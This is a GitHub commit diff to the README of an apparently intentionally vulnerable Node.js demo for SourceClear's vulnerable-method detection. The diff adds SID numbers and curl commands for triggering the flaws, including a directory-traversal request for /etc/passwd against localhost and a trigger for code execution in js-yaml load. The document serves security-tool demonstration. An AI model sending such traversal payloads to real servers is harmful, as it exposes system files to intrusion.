Skip to content

Commit 6e11b7f

Browse files
author
spencer
committed
Add the SIDs for eeach vulnerability
1 parent 4557bca commit 6e11b7f

File tree

1 file changed

+13
-5
lines changed

1 file changed

+13
-5
lines changed

README.md

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
A node project to demonstrate srcclr agent's vulnerable methods feature for JavaScript
44

5-
## Vulnerability 1 Exploit
5+
## Vulnerability 1 (SID-13642) Exploit
66

77
```
88
git clone https://github.com/srcclr/example-javascript-vulnerable-methods.git
@@ -11,16 +11,24 @@ npm install
1111
node index.js
1212
1313
```
14-
15-
and then run the following command in another terminal
14+
The vulnerable method is called twice during the server startup, however another one needs to be trigged by issuing a
15+
request to the endpoint by running the following command in another terminal to trigger the code execution vulnerability
16+
in `js-yaml:load`
1617

1718
```
1819
curl --path-as-is 'http://127.0.0.1:8001/api/'
1920
```
20-
You can see the code execution vulnerability are executed mutliple times.
21+
22+
## Vulnerability 2 (SID-20301) Exploit
23+
24+
Use the following to trigger the directory traversal vulnerability (SID-20301)in `algo-httpserv:serve`
25+
26+
```
27+
curl --path-as-is 'http://127.0.0.1/8001/../../../../../../etc/passwd'
28+
```
2129

2230

23-
## Vulnerability 2 Exploit
31+
## Vulnerability 3 (SID-21402) Exploit
2432

2533
```
2634
git clone https://github.com/srcclr/example-javascript-vulnerable-methods.git

0 commit comments

Comments
 (0)